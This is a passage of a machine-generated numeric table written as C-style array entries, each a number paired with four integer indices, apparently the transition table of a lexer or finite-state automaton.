{0,{12034,12034,12039,12039}}, {0,{6577,6577,6577,12035}}, {0,{6578,6578,6578,12036}}, {0,{6576,6576,6576,12037}}, {0,{12038,12038,4991,0}}, {1793,{4982,4982,0,0}}, {0,{0,0,0,12040}}, {0,{0,0,0,12041}}, {0,{0,0,0,12042}}, {0,{12043,12043,0,0}}, {1794,{0,0,0,0}}, {0,{12039,12039,12039,12039}}, {0,{12044,12044,12044,12044}}, {0,{12047,12052,12052,12054}}, {0,{12048,12051,12044,12044}}, {0,{12049,12049,12050,12039}}, {1795,{6577,6577,6577,12035}}, {1796,{0,0,0,12040}}, {1798,{12039,12039,12039,12039}}, {0,{12053,12051,12044,12044}}, {0,{12050,12050,12050,12039}}, {0,{12044,12051,12044,12044}}, {1800,{12056,12056,12056,12056}}, {0,{12044,12057,12044,12044}}, {1801,{12039,12039,12039,12039}}, {0,{12045,12045,12045,12045}}, {0,{12060,12029,11808,11808}}, {1802,{12061,12061,12061,12082}}, {0,{12062,12065,11998,12001}}, {0,{12063,11963,11963,11963}}, {0,{12064,11956,11956,11956}}, {0,{6586,6586,11950,8058}}, {0,{12066,12081,12081,12081}}, {0,{12064,11979,12067,11956}}, {0,{12068,0,11950,8058}}, {0,{0,0,0,12069}}, {0,{0,0,0,12070}}, {0,{0,0,0,12071}}, {0,{12072,12072,12072,12072}}, {0,{12073,0,0,0}}, {0,{12074,12074,12074,12074}}, {0,{12075,12075,12075,12075}}, {0,{12076,12076,12076,12076}}, {0,{12077,12077,12077,12077}}, {0,{12078,12078,12078,12078}}, {0,{12079,0,0,0}}, {0,{0,0,0,12080}}, {1803,{0,0,0,0}}, {0,{11956,11979,12067,11956}}, {0,{12001,12083,11998,12001}}, {0,{12081,12081,12081,12081}}, {1805,{12085,11802,11808,11808}}, {0,{12086,12086,12086,12101}}, {0,{12087,12093,12097,12100}}, {0,{12088,12092,12092,12092}}, {0,{12089,12091,12091,12091}}, {0,{6586,6586,11950,12090}}, {1807,{0,0,0,0}}, {0,{0,0,11950,12090}}, {0,{12091,12091,12091,12091}}, {0,{12094,12096,12096,12096}}, {0,{12089,12095,12091,12091}}, {1809,{0,0,11950,12090}}, {0,{12091,12095,12091,12091}}, {1811,{12098,12098,12098,12098}}, {0,{12091,12099,12091,12091}}, {1812,{0,0,11950,12090}}, {0,{12092,12092,12092,12092}}, {0,{12100,12102,12097,12100}}, {0,{12096,12096,12096,12096}}, {0,{12104,11808,11808,11808}}, {0,{12105,12105,12105,12105}}, {0,{8191,12106,12107,8191}}, {0,{8190,8190,8190,8190}}, {1814,{12108,12108,12108,12108}}, {0,{8185,12109,8185,8185}}, {1815,{0,0,0,8058}}, {1817,{12111,12136,12139,12140}}, {0,{12112,11913,12130,11913}}, {0,{12113,11787,11787,11787}}, {0,{12114,12114,11788,11788}}, {0,{12115,12122,12124,0}}, {0,{12116,12116,12116,12116}}, {0,{0,0,12117,0}}, {0,{12118,12118,12118,0}}, {0,{0,0,0,12119}}, {0,{12120,0,0,0}}, {0,{12121,0,0,0}}, {0,{8523,0,0,0}}, {0,{12123,12123,12123,12123}}, {0,{0,6611,12117,0}}, {1819,{12125,12125,12125,12125}}, {0,{11775,11774,12126,11775}}, {0,{12127,12127,12127,11773}}, {0,{0,0,0,12128}}, {0,{12129,0,0,0}}, {1820,{12121,0,0,0}}, {1822,{12131,11808,11808,11808}}, {0,{12132,12132,12132,12132}}, {0,{8564,12133,12134,0}}, {0,{8559,8559,8559,8559}}, {1824,{12135,12135,12135,12135}}, {0,{0,11806,8557,0}}, {0,{12137,11913,12138,11913}}, {0,{11898,11898,11898,11898}}, {1826,{11808,11808,11808,11808}}, {0,{11913,11913,12130,11913}}, {0,{11913,11913,12138,11913}}, {0,{12142,12136,12210,12259}}, {0,{12143,11913,12154,11913}}, {0,{12144,11787,11787,11787}}, {0,{12145,12145,12145,12145}}, {0,{0,12146,11784,0}}, {0,{12147,12147,12147,12147}}, {0,{12148,12153,12148,0}}, {0,{12149,12149,12149,12149}}, {0,{0,0,0,12150}}, {0,{12151,0,0,0}}, {0,{12152,0,0,0}}, {1828,{0,0,0,0}}, {1830,{12149,12149,12149,12149}}, {1832,{12155,11808,11808,11808}}, {0,{12156,12156,12156,12200}}, {0,{12157,12194,12197,12157}}, {0,{12158,12158,12158,12158}}, {0,{12159,12159,12159,12159}}, {0,{12160,12160,12160,12178}}, {0,{0,0,0,12161}}, {0,{0,0,12162,0}}, {0,{12163,0,0,0}}, {0,{0,12164,0,0}}, {0,{0,12165,0,0}}, {0,{12166,12166,12166,12166}}, {0,{12167,12167,12167,12167}}, {0,{12168,12168,12168,12168}}, {0,{12169,12169,12169,12169}}, {0,{12170,12170,12170,12170}}, {0,{12171,12171,12171,12171}}, {0,{12172,12172,12172,12172}}, {0,{0,0,0,12173}}, {0,{0,0,0,12174}}, {0,{0,0,0,12175}}, {0,{12176,12176,12176,0}}, {0,{12177,0,0,0}}, {1833,{0,0,0,0}}, {0,{12179,0,0,0}}, {0,{0,0,12180,0}}, {0,{12181,0,0,0}}, {0,{12182,12182,12182,12182}}, {0,{0,0,0,12183}}, {0,{12184,12184,12184,12184}}, {0,{12185,12185,12185,12185}}, {0,{12186,12186,12186,12186}}, {0,{12187,12187,12187,12187}}, {0,{12188,12188,12188,12188}}, {0,{0,0,0,12189}}, {0,{0,0,0,12190}}, {0,{0,0,0,12191}}, {0,{12192,0,0,0}}, {0,{12193,0,0,0}}, {1834,{0,0,0,0}}, {0,{12195,12195,12195,12195}}, {0,{12159,12196,12159,12159}}, {1836,{12160,12160,12160,12178}}, {1838,{12198,12198,12198,12198}}, {0,{12159,12199,12159,12159}}, {1839,{12160,12160,12160,12178}}, {0,{12201,12204,12207,12201}}, {0,{12202,12202,12202,12202}}, {0,{12203,12203,12203,12203}}, {0,{0,0,0,12178}}, {0,{12205,12205,12205,12205}}, {0,{12203,12206,12203,12203}}, {1841,{0,0,0,12178}}, {1843,{12208,12208,12208,12208}}, {0,{12203,12209,12203,12203}}, {1844,{0,0,0,12178}}, {0,{11913,11913,12211,11913}}, {1846,{12212,11808,11808,11808}}, {0,{12213,12213,12213,11809}}, {0,{12214,12253,12256,12214}}, {0,{12215,12215,12215,12215}}, {0,{12216,12216,12216,12216}}, {0,{12217,12248,12217,0}}, {0,{0,0,0,12218}}, {0,{12219,0,0,0}}, {0,{12220,0,0,0}}, {0,{0,12221,0,0}}, {0,{12222,12235,0,0}}, {0,{12223,12223,12223,12223}}, {0,{12224,12224,12224,12224}}, {0,{12225,12225,12225,12225}}, {0,{12226,12226,12226,12226}}, {0,{12227,12227,12227,12227}}, {0,{12228,12228,12228,12228}}, {0,{12229,12229,12229,12229}}, {0,{0,0,0,12230}}, {0,{0,0,0,12231}}, {0,{0,0,0,12232}}, {0,{0,12233,0,0}}, {0,{12234,0,0,0}}, {1847,{0,0,0,0}}, {0,{12236,12236,12236,12236}}, {0,{12237,12237,12237,12237}}, {0,{12238,12238,12238,12238}}, {0,{12239,12239,12239,12239}}, {0,{12240,12240,12240,12240}}, {0,{12241,12241,12241,12241}}, {0,{12242,12242,12242,12242}}, {0,{0,0,0,12243}}, {0,{0,0,0,12244}}, {0,{0,0,0,12245}}, {0,{12246,12246,12246,0}}, {0,{12247,0,0,0}}, {1848,{0,0,0,0}}, {0,{0,0,0,12249}}, {0,{12250,0,0,0}}, {0,{12251,0,0,0}}, {0,{0,12252,0,0}}, {0,{0,12235,0,0}}, {0,{12254,12254,12254,12254}}, {0,{12216,12255,12216,12216}}, {1850,{12217,12248,12217,0}}, {1852,{12257,12257,12257,12257}}, {0,{12216,12258,12216,12216}}, {1853,{12217,12248,12217,0}}, {0,{12260,12262,12138,11913}}, {0,{12261,11808,11808,11808}}, {1855,{11809,11809,11809,11809}}, {0,{12263,11808,11808,11808}}, {1856,{11809,11809,11809,11809}}, {0,{12265,12276,12281,12281}}, {0,{12266,12271,12275,12271}}, {0,{12267,12267,12267,12267}}, {0,{12268,12268,12268,12268}}, {0,{0,0,12269,0}}, {1858,{12270,12270,12270,12270}}, {0,{11775,11775,11775,11775}}, {0,{12272,12272,12272,12272}}, {0,{12273,12273,12273,12273}}, {0,{0,0,12274,0}}, {1860,{0,0,0,0}}, {1862,{12272,12272,12272,12272}}, {0,{12277,12271,12275,12271}}, {0,{12278,12278,12278,12278}}, {0,{12279,12279,12279,12279}}, {0,{11884,11884,12280,11884}}, {1864,{11876,11876,11876,11876}}, {0,{12271,12271,12275,12271}}, {0,{12283,12449,12465,12487}}, {0,{12284,12322,12337,12348}}, {0,{12285,12297,12314,0}}, {0,{12286,0,0,0}}, {0,{12287,12287,12287,12287}}, {0,{12288,12288,0,0}}, {0,{12289,12289,12289,12289}}, {0,{0,0,12290,0}}, {0,{0,0,12291,0}}, {0,{12292,12292,12292,12292}}, {0,{12293,12293,12293,12293}}, {0,{12294,12294,12294,12294}}, {0,{12295,12295,12295,12295}}, {0,{12296,0,0,0}}, {1865,{0,0,0,0}}, {0,{12298,0,0,0}}, {0,{12299,12299,12299,12299}}, {0,{12300,12300,9694,9694}}, {0,{12301,12301,12301,12301}}, {0,{6562,6562,12302,6562}}, {0,{6563,0,12303,0}}, {0,{12304,12304,12304,12309}}, {0,{12305,12305,12305,0}}, {0,{12306,12306,12306,0}}, {0,{12307,12307,12307,12307}}, {0,{12308,0,0,0}}, {1866,{0,0,0,0}}, {0,{12310,12305,12305,0}}, {0,{12311,12306,12306,0}}, {0,{12312,12312,12312,12312}}, {0,{12313,0,0,0}}, {1867,{6520,6520,6520,6520}}, {1869,{12315,0,0,0}}, {0,{12316,12316,12319,12319}}, {0,{12317,12317,12317,12318}}, {0,{11820,11820,11820,11820}}, {0,{11832,11832,11832,11832}}, {0,{12320,12320,12320,12321}}, {0,{11841,11841,11841,11841}}, {0,{11853,11853,11853,11853}}, {0,{12323,0,12334,0}}, {0,{12324,12332,12332,12332}}, {0,{12325,12325,12325,12325}}, {0,{12326,12326,11884,11884}}, {0,{12327,12327,12327,12327}}, {0,{11875,11875,12328,11875}}, {0,{11872,11872,12329,11872}}, {0,{12330,12330,12330,12330}}, {0,{12293,12293,12331,12293}}, {1870,{12294,12294,12294,12294}}, {0,{12333,12333,12333,12333}}, {0,{11884,11884,11884,11884}}, {1872,{12335,0,0,0}}, {0,{12336,12336,12336,12336}}, {0,{7580,7580,7580,0}}, {0,{12285,12338,12345,0}}, {0,{12339,0,0,0}}, {0,{12340,12340,12340,12340}}, {0,{12341,12341,0,0}}, {0,{12342,12342,12342,12342}}, {0,{0,0,12343,0}}, {0,{0,0,12344,0}}, {0,{12304,12304,12304,12304}}, {1874,{12346,0,0,0}}, {0,{12347,12347,12347,12347}}, {0,{7829,7829,7829,0}}, {0,{12349,12420,12440,12446}}, {0,{12350,12400,12402,0}}, {1876,{12351,12351,12351,12385}}, {0,{12352,12352,12380,12383}}, {0,{12353,12353,12353,12353}}, {0,{12354,11956,12355,11956}}, {0,{10324,0,11950,8058}}, {0,{12356,0,12368,8058}}, {0,{0,0,0,12357}}, {0,{0,0,0,12358}}, {0,{0,0,0,12359}}, {0,{12360,12360,12360,12360}}, {0,{0,0,12361,0}}, {0,{12362,12362,12362,12362}}, {0,{12363,12363,12363,12363}}, {0,{12364,12364,12364,12364}}, {0,{12365,12365,12365,12365}}, {0,{12366,12366,12366,12366}}, {0,{0,0,12367,0}}, {1877,{0,0,0,0}}, {0,{12292,12292,12292,12369}}, {0,{12293,12293,12293,12370}}, {0,{12294,12294,12294,12371}}, {0,{12372,12372,12372,12372}}, {0,{12373,0,0,0}}, {1879,{12374,12374,12374,12374}}, {0,{12375,12375,12375,12375}}, {0,{12376,12376,12376,12376}}, {0,{12377,12377,12377,12377}}, {0,{12378,12378,12378,12378}}, {0,{0,12379,0,0}}, {1880,{0,0,0,0}}, {0,{12381,12381,12381,12381}}, {0,{12354,11956,12382,11956}}, {0,{12356,0,11950,8058}}, {0,{12384,12384,12384,12384}}, {0,{12354,11956,11956,11956}}, {0,{12386,12386,12395,12398}}, {0,{12387,12387,12387,12387}}, {0,{12388,12011,12389,12011}}, {0,{10324,0,12006,8058}}, {0,{12356,0,12390,8058}}, {0,{12292,12292,12292,12391}}, {0,{12293,12293,12293,12392}}, {0,{12294,12294,12294,12393}}, {0,{12372,12372,12372,12394}}, {0,{12373,0,8057,0}}, {0,{12396,12396,12396,12396}}, {0,{12388,12011,12397,12011}}, {0,{12356,0,12006,8058}}, {0,{12399,12399,12399,12399}}, {0,{12388,12011,12011,12011}}, {0,{12401,12401,12401,0}}, {0,{12058,12058,12058,12058}}, {0,{12403,12403,12403,12403}}, {0,{12404,12404,12404,0}}, {0,{12405,12405,12405,12405}}, {0,{0,0,12406,0}}, {0,{12407,0,0,0}}, {0,{0,0,0,12408}}, {0,{0,0,0,12409}}, {0,{0,0,0,12410}}, {0,{12411,12411,12411,12411}}, {0,{12412,0,0,0}}, {0,{12413,12413,12413,12413}}, {0,{12414,12414,12414,12414}}, {0,{12415,12415,12415,12415}}, {0,{12416,12416,12416,12416}}, {0,{12417,12417,12417,12417}}, {0,{12418,0,12419,0}}, {1881,{0,0,0,0}}, {1882,{0,0,0,0}}, {0,{12421,12400,12423,0}}, {1883,{12422,12422,12422,12422}}, {0,{12383,12383,12383,12383}}, {0,{12424,12424,12424,12424}}, {0,{12425,12425,12425,0}}, {0,{12426,12426,12426,12426}}, {0,{0,0,12427,0}}, {0,{12428,0,0,0}}, {0,{0,0,0,12429}}, {0,{0,0,0,12430}}, {0,{0,0,0,12431}}, {0,{12432,12432,12432,12432}}, {0,{12433,0,0,0}}, {0,{12434,12434,12434,12434}}, {0,{12435,12435,12435,12435}}, {0,{12436,12436,12436,12436}}, {0,{12437,12437,12437,12437}}, {0,{12438,12438,12438,12438}}, {0,{12418,0,12439,0}}, {1885,{0,0,0,0}}, {1887,{12441,0,12402,0}}, {0,{12442,12442,12442,12442}}, {0,{12443,12443,12443,12443}}, {0,{12444,12444,12444,12444}}, {0,{12445,12091,12091,12091}}, {0,{10324,0,11950,12090}}, {0,{12447,0,0,0}}, {0,{12448,12448,12448,12448}}, {0,{10388,10388,10388,10388}}, {0,{12450,12458,12450,12464}}, {0,{12451,0,12455,0}}, {0,{12452,0,0,0}}, {0,{0,0,12453,0}}, {0,{0,0,12454,0}}, {1888,{0,0,0,0}}, {1890,{12456,0,0,0}}, {0,{12457,12457,12457,12457}}, {0,{8564,8564,8564,0}}, {0,{12459,0,12463,0}}, {0,{12460,12332,12332,12332}}, {0,{12333,12333,12461,12333}}, {0,{11884,11884,12462,11884}}, {1891,{11876,11876,11876,11876}}, {1893,{0,0,0,0}}, {0,{12451,0,12463,0}}, {0,{12466,12476,12478,12482}}, {0,{12467,0,12472,0}}, {0,{12468,0,0,0}}, {0,{12469,12469,12469,12469}}, {0,{0,12470,0,0}}, {0,{12471,12471,12471,12471}}, {0,{12148,12148,12148,0}}, {1895,{12473,0,0,0}}, {0,{12474,12474,12474,12475}}, {0,{12157,12157,12157,12157}}, {0,{12201,12201,12201,12201}}, {0,{12477,0,12463,0}}, {0,{12332,12332,12332,12332}}, {0,{0,0,12479,0}}, {1897,{12480,0,0,0}}, {0,{12481,12481,12481,0}}, {0,{12214,12214,12214,12214}}, {0,{12483,12485,12463,0}}, {0,{12484,0,0,0}}, {1899,{0,0,0,0}}, {0,{12486,0,0,0}}, {1900,{0,0,0,0}}, {0,{12488,12476,12488,12488}}, {0,{0,0,12463,0}}, {0,{12490,12587,12595,12600}}, {0,{12491,12498,12499,12500}}, {0,{12492,12496,12314,0}}, {0,{12493,12493,12493,12493}}, {0,{12494,12494,12494,12494}}, {0,{0,0,12495,0}}, {0,{12270,12270,12270,12270}}, {0,{12497,0,0,0}}, {0,{11685,11685,11685,11685}}, {0,{12477,0,12334,0}}, {0,{0,0,12345,0}}, {0,{12501,12554,12574,12584}}, {0,{12502,12543,0,0}}, {1902,{12503,12503,12503,12531}}, {0,{12504,12504,12504,12528}}, {0,{12505,12505,12505,12505}}, {0,{12506,11956,11956,11956}}, {0,{12507,0,12522,8058}}, {0,{0,0,0,12508}}, {0,{0,0,0,12509}}, {0,{0,0,0,12510}}, {0,{12511,12511,12511,12511}}, {0,{12512,0,0,0}}, {0,{12513,12513,12513,12513}}, {0,{12514,12514,12514,12514}}, {0,{12515,12515,12515,12515}}, {0,{12516,12516,12516,12516}}, {0,{12517,12517,12517,12517}}, {0,{12518,11046,12520,0}}, {0,{0,0,0,12519}}, {1904,{0,0,0,0}}, {1905,{0,0,0,12521}}, {1907,{0,0,0,0}}, {0,{0,0,0,12523}}, {0,{0,0,0,12524}}, {0,{0,0,0,12525}}, {0,{12526,12526,12526,12526}}, {0,{12527,0,0,0}}, {1908,{11086,11086,11086,11086}}, {0,{12529,12529,12529,12529}}, {0,{12530,11956,11956,11956}}, {0,{11272,0,11950,8058}}, {0,{12532,12532,12532,12540}}, {0,{12533,12533,12533,12533}}, {0,{12534,12011,12011,12011}}, {0,{12507,0,12535,8058}}, {0,{0,0,0,12536}}, {0,{0,0,0,12537}}, {0,{0,0,0,12538}}, {0,{12526,12526,12526,12539}}, {0,{12527,0,8057,0}}, {0,{12541,12541,12541,12541}}, {0,{12542,12011,12011,12011}}, {0,{11272,0,12006,8058}}, {0,{12544,12544,12544,12553}}, {0,{12545,12545,12545,12545}}, {0,{12546,12546,12546,12546}}, {0,{12547,12044,12044,12044}}, {0,{12548,12039,12039,12039}}, {0,{0,0,0,12549}}, {0,{0,0,0,12550}}, {0,{0,0,0,12551}}, {0,{12552,12552,11294,11294}}, {1909,{11295,0,0,0}}, {0,{11386,11386,11386,11386}}, {0,{12555,12543,0,0}}, {1910,{12556,12556,12556,12556}}, {0,{12557,12557,12557,12528}}, {0,{12558,12558,12558,12558}}, {0,{12559,11956,11956,11956}}, {0,{12560,0,12522,8058}}, {0,{0,0,0,12561}}, {0,{0,0,0,12562}}, {0,{0,0,0,12563}}, {0,{12564,12564,12564,12564}}, {0,{12565,0,0,0}}, {0,{12566,12566,12566,12566}}, {0,{12567,12567,12567,12567}}, {0,{12568,12568,12568,12568}}, {0,{12569,12569,12569,12569}}, {0,{12570,12570,12570,12570}}, {0,{12571,11046,12573,0}}, {0,{0,0,0,12572}}, {1911,{0,0,0,0}}, {0,{0,0,0,12521}}, {1913,{12575,12583,0,0}}, {0,{12576,12576,12576,12576}}, {0,{12577,12577,12577,12580}}, {0,{12578,12578,12578,12578}}, {0,{12579,12091,12091,12091}}, {0,{11272,0,12522,12090}}, {0,{12581,12581,12581,12581}}, {0,{12582,12091,12091,12091}}, {0,{11272,0,11950,12090}}, {0,{12553,12553,12553,12553}}, {0,{12585,12583,0,0}}, {0,{12586,12586,12586,12586}}, {0,{11421,11421,11421,11421}}, {0,{12588,12476,12594,12488}}, {0,{12589,0,12455,0}}, {0,{12590,12493,12493,12493}}, {0,{12591,12591,12494,12494}}, {0,{12115,12115,12592,0}}, {0,{12593,12593,12593,12593}}, {0,{11775,11775,12126,11775}}, {0,{0,0,12455,0}}, {0,{12596,12476,12478,12482}}, {0,{12597,0,12472,0}}, {0,{12598,12493,12493,12493}}, {0,{12599,12599,12599,12599}}, {0,{0,12470,12495,0}}, {0,{12601,12476,12488,12488}}, {0,{12492,0,12463,0}}, {0,{12603,12487,12621,12487}}, {0,{12604,12476,12488,12609}}, {0,{0,12496,12605,0}}, {1915,{12606,0,0,0}}, {0,{12607,12607,12608,12608}}, {0,{12318,12318,12318,12318}}, {0,{12321,12321,12321,12321}}, {0,{12610,12614,12616,12619}}, {0,{12611,12400,0,0}}, {1917,{12612,12612,12612,12613}}, {0,{12001,12001,12001,12001}}, {0,{12028,12028,12028,12028}}, {0,{12615,12400,0,0}}, {1918,{12612,12612,12612,12612}}, {1920,{12617,0,0,0}}, {0,{12618,12618,12618,12618}}, {0,{12100,12100,12100,12100}}, {0,{12620,0,0,0}}, {0,{11721,11721,11721,11721}}, {0,{12622,12476,12478,12482}}, {0,{0,0,12472,0}}, {0,{12624,13355,13501,13604}}, {0,{12625,13171,13215,0}}, {0,{12626,12987,12996,13084}}, {0,{12627,12915,12964,12984}}, {0,{12628,12788,12904,12914}}, {0,{12629,12742,12629,12778}}, {0,{12630,12736,12741,12741}}, {0,{12631,12727,12735,12735}}, {0,{12632,12716,12716,12716}}, {0,{12633,12686,12691,12699}}, {0,{12634,12678,6577,12682}}, {0,{12635,6574,6574,6574}}, {0,{12636,6575,6575,6576}}, {0,{4980,4980,12637,4984}}, {0,{12638,12668,12677,12677}}, {0,{12639,12639,12639,12667}}, {0,{12640,12640,12666,12666}}, {0,{12641,12641,12665,12665}}, {0,{12642,12664,12664,12664}}, {0,{12643,12656,12663,12663}}, {0,{12644,12655,12655,12655}}, {0,{12645,12645,12645,12650}}, {0,{12646,12646,12646,12646}}, {0,{12647,3675,3675,3675}}, {0,{12648,12648,3676,3676}}, {0,{3677,3677,12649,3677}}, {1921,{3678,3678,3678,3678}}, {0,{12651,12651,12651,12651}}, {0,{12652,0,0,0}}, {0,{12653,12653,0,0}}, {0,{0,0,12654,0}}, {1922,{0,0,0,0}}, {0,{12650,12650,12650,12650}}, {0,{12657,12655,12655,12655}}, {0,{12658,12650,12650,12650}}, {0,{12659,12659,12659,12659}}, {0,{12660,3654,3654,3654}}, {0,{12661,12661,3655,0}}, {0,{3656,3656,12662,3656}}, {1923,{3657,3657,3657,0}}, {0,{12655,12655,12655,12655}}, {0,{12663,12656,12663,12663}}, {0,{12664,12664,12664,12664}}, {0,{12665,12665,12665,12665}}, {0,{12666,12666,12666,12666}}, {0,{12669,12669,12669,12676}}, {0,{12670,12670,12675,12675}}, {0,{12671,12671,12674,12674}}, {0,{12672,12673,12673,12673}}, {0,{12643,12663,12663,12663}}, {0,{12663,12663,12663,12663}}, {0,{12673,12673,12673,12673}}, {0,{12674,12674,12674,12674}}, {0,{12675,12675,12675,12675}}, {0,{12676,12676,12676,12676}}, {0,{12679,6578,6578,6578}}, {0,{12680,6576,6576,6576}}, {0,{4991,4991,12681,0}}, {0,{12668,12668,12677,12677}}, {0,{12683,6578,6578,6578}}, {0,{12684,6576,6576,6576}}, {0,{5686,4991,12685,0}}, {0,{4982,5082,0,0}}, {0,{12678,12678,6577,12687}}, {0,{12688,7134,7134,6578}}, {0,{12689,6576,6576,6576}}, {0,{5694,5139,12690,4949}}, {0,{5144,5082,0,0}}, {0,{12692,12692,0,12696}}, {0,{12693,0,0,0}}, {0,{12694,0,0,0}}, {0,{0,0,12695,0}}, {0,{12677,12677,12677,12677}}, {0,{12697,0,0,0}}, {0,{12698,0,0,0}}, {0,{5426,0,0,0}}, {0,{12692,12692,0,12700}}, {0,{12697,12701,0,0}}, {0,{12702,0,0,0}}, {0,{0,0,12703,0}}, {0,{0,0,0,12704}}, {0,{12705,12705,12705,12705}}, {0,{12706,12706,12706,12706}}, {0,{12707,12707,12707,12707}}, {0,{12708,12708,12708,12708}}, {0,{12709,12709,12709,12709}}, {0,{0,0,0,12710}}, {0,{0,0,0,12711}}, {0,{0,0,0,12712}}, {0,{0,0,0,12713}}, {0,{0,0,0,12714}}, {0,{0,0,12715,0}}, {1924,{0,0,0,0}}, {0,{12717,12722,12691,12699}}, {0,{12692,12692,0,12718}}, {0,{12719,0,0,0}}, {0,{12720,0,0,0}}, {0,{5426,0,12721,0}}, {0,{0,4932,0,0}}, {0,{12692,12692,0,12723}}, {0,{12724,7098,7098,0}}, {0,{12725,0,0,0}}, {0,{5432,4949,12726,4949}}, {0,{4952,4932,0,0}}, {0,{12728,12716,12716,12716}}, {0,{12729,12722,12691,12699}}, {0,{12730,12692,0,12718}}, {0,{12731,5791,5791,5791}}, {0,{12732,5792,5792,0}}, {0,{4984,4984,12733,4984}}, {0,{12734,12677,12677,12677}}, {0,{12667,12667,12667,12667}}, {0,{12716,12716,12716,12716}}, {0,{12737,12739,12740,12740}}, {0,{12632,12738,12716,12716}}, {1926,{12717,12722,12691,12699}}, {0,{12728,12738,12716,12716}}, {0,{12716,12738,12716,12716}}, {0,{12727,12727,12735,12735}}, {0,{12743,12772,12777,12777}}, {0,{12744,12768,12771,12771}}, {0,{12745,12758,12758,12758}}, {0,{12746,12750,12755,12756}}, {0,{12634,12678,6577,12747}}, {0,{12748,6578,6578,6578}}, {0,{12749,6576,6576,6576}}, {0,{4991,4991,12685,0}}, {0,{12678,12678,6577,12751}}, {0,{12752,7230,7230,6578}}, {0,{12753,6576,6576,6576}}, {0,{5139,5139,12754,4949}}, {0,{5140,5082,0,0}}, {0,{12692,12692,0,0}}, {0,{12692,12692,0,12757}}, {0,{0,12701,0,0}}, {0,{12759,12763,12755,12756}}, {0,{12692,12692,0,12760}}, {0,{12761,0,0,0}}, {0,{12762,0,0,0}}, {0,{0,0,12721,0}}, {0,{12692,12692,0,12764}}, {0,{12765,5801,5801,0}}, {0,{12766,0,0,0}}, {0,{4949,4949,12767,4949}}, {0,{4950,4932,0,0}}, {0,{12769,12758,12758,12758}}, {0,{12770,12763,12755,12756}}, {0,{12730,12692,0,12760}}, {0,{12758,12758,12758,12758}}, {0,{12773,12775,12776,12776}}, {0,{12745,12774,12758,12758}}, {1928,{12759,12763,12755,12756}}, {0,{12769,12774,12758,12758}}, {0,{12758,12774,12758,12758}}, {0,{12768,12768,12771,12771}}, {0,{12779,12784,12779,12779}}, {0,{12780,12780,12783,12783}}, {0,{12781,12782,12782,12782}}, {0,{7452,7222,0,0}}, {0,{0,7222,0,0}}, {0,{12782,12782,12782,12782}}, {0,{12785,12785,12787,12787}}, {0,{12781,12786,12782,12782}}, {1930,{0,7222,0,0}}, {0,{12782,12786,12782,12782}}, {0,{12789,12789,12789,12903}}, {0,{12790,12893,12902,12902}}, {0,{12791,12892,12892,12892}}, {0,{12792,12891,12891,12891}}, {0,{12793,12793,12882,12882}}, {0,{12794,12794,12822,12794}}, {0,{12795,6578,6578,6578}}, {0,{12796,12796,12796,6576}}, {0,{4991,4991,12797,0}}, {0,{12798,12798,12821,12821}}, {0,{12799,12799,12799,12820}}, {0,{12800,12800,12819,12819}}, {0,{12801,12801,12818,12818}}, {0,{12802,12817,12817,12817}}, {0,{12803,12816,12816,12816}}, {0,{12804,12815,12815,12815}}, {0,{12805,12805,12805,12810}}, {0,{12806,12806,12806,12806}}, {0,{12807,12807,12807,12807}}, {0,{12808,12808,12808,12808}}, {0,{12809,3677,12809,3677}}, {1931,{3678,3678,3678,3678}}, {0,{12811,12811,12811,12811}}, {0,{12812,12812,12812,12812}}, {0,{12813,12813,12813,12813}}, {0,{12814,0,12814,0}}, {1932,{0,0,0,0}}, {0,{12810,12810,12810,12810}}, {0,{12815,12815,12815,12815}}, {0,{12816,12816,12816,12816}}, {0,{12817,12817,12817,12817}}, {0,{12818,12818,12818,12818}}, {0,{12819,12819,12819,12819}}, {0,{12820,12820,12820,12820}}, {0,{12823,6578,6578,6578}}, {0,{12796,12796,12824,6576}}, {0,{4991,4991,12825,0}}, {0,{12826,12826,12881,12881}}, {0,{12827,12827,12827,12880}}, {0,{12828,12828,12879,12879}}, {0,{12829,12829,12878,12878}}, {0,{12830,12877,12877,12877}}, {0,{12831,12876,12876,12876}}, {0,{12832,12875,12875,12875}}, {0,{12833,12833,12833,12869}}, {0,{12834,12834,12834,12834}}, {0,{12835,12807,12807,12807}}, {0,{12808,12836,12808,12808}}, {0,{12837,3677,12837,3677}}, {1933,{12838,12838,12838,12838}}, {0,{12839,12839,12839,12868}}, {0,{12840,12840,12840,12866}}, {0,{12841,12841,12841,12841}}, {0,{12842,12842,12842,12865}}, {0,{12843,12843,12864,12864}}, {0,{12844,12844,12844,12862}}, {0,{12845,12845,12845,12845}}, {0,{12846,12861,12861,12861}}, {0,{12847,12860,12860,12860}}, {0,{12848,12848,12848,12859}}, {0,{12849,12849,12849,12854}}, {0,{12850,12850,12850,12850}}, {0,{12851,12851,12851,12851}}, {0,{12852,12852,12852,12852}}, {0,{12853,3416,12853,3416}}, {1934,{3417,3417,3417,3417}}, {0,{12855,12855,12855,12855}}, {0,{12856,12856,12856,12856}}, {0,{12857,12857,12857,12857}}, {0,{12858,0,12858,0}}, {1935,{0,0,0,0}}, {0,{12854,12854,12854,12854}}, {0,{12859,12859,12859,12859}}, {0,{12860,12860,12860,12860}}, {0,{12863,12863,12863,12863}}, {0,{12861,12861,12861,12861}}, {0,{12862,12862,12862,12862}}, {0,{12864,12864,12864,12864}}, {0,{12867,12867,12867,12867}}, {0,{12865,12865,12865,12865}}, {0,{12866,12866,12866,12866}}, {0,{12870,12870,12870,12870}}, {0,{12871,12812,12812,12812}}, {0,{12813,12872,12813,12813}}, {0,{12873,0,12873,0}}, {1936,{12874,12874,12874,12874}}, {0,{12868,12868,12868,12868}}, {0,{12869,12869,12869,12869}}, {0,{12875,12875,12875,12875}}, {0,{12876,12876,12876,12876}}, {0,{12877,12877,12877,12877}}, {0,{12878,12878,12878,12878}}, {0,{12879,12879,12879,12879}}, {0,{12880,12880,12880,12880}}, {0,{12883,12883,12887,12883}}, {0,{12884,0,0,0}}, {0,{12885,12885,12885,0}}, {0,{0,0,12886,0}}, {0,{12821,12821,12821,12821}}, {0,{12888,0,0,0}}, {0,{12885,12885,12889,0}}, {0,{0,0,12890,0}}, {0,{12881,12881,12881,12881}}, {0,{12882,12882,12882,12882}}, {0,{12891,12891,12891,12891}}, {0,{12894,12899,12899,12901}}, {0,{12895,12898,12891,12891}}, {0,{12896,12896,12897,12882}}, {1937,{12794,12794,12822,12794}}, {1938,{12883,12883,12887,12883}}, {1940,{12882,12882,12882,12882}}, {0,{12900,12898,12891,12891}}, {0,{12897,12897,12897,12882}}, {0,{12891,12898,12891,12891}}, {0,{12892,12892,12892,12892}}, {0,{0,11786,0,0}}, 